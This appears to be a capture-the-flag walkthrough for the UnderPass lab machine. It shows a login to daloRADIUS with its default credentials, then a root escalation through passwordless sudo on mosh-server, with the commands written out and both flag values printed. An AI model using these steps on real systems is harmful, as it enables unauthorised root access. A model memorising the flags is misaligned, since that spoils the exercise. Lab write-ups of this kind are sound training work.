Skip to content

UnderPass

Initial Scan

Discovered open port 22/tcp on 10.10.11.48
Discovered open port 80/tcp on 10.10.11.48

Port 22 is SSH, port 80 is HTTP.

Enumeration

The site runs daloRADIUS v0.9 at http://10.10.11.48/daloradius/.

Default credentials work:

Username: administrator
Password: radius

The operator panel is at http://10.10.11.48/daloradius/app/operators/ and the user panel at http://10.10.11.48/daloradius/app/users/.

Exploitation

From the daloRADIUS interface, we find the user flag. The SSH user is svcMosh with the mosh-server configured for sudo.

User Flag

f6ecb2f4669430a32805385e3fab0b19

Privilege Escalation

mosh-server Sudo

The user svcMosh can run mosh-server as root without a password:

svcMosh@underpass:~$ sudo -l
User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-serve

On the target:

svcMosh@underpass:~$ sudo /usr/bin/mosh-server -- /bin/bash

This outputs a MOSH_KEY value. On the attacker machine, we connect using that key:

export MOSH_KEY=FRBzudVFyW+w5PQWN8kyFg
mosh-client 10.10.11.48 60001

We now have a root shell.

Flags

user.txt: f6ecb2f4669430a32805385e3fab0b19 root.txt: 76b4f1c723a85f4edd6305ab90e110ba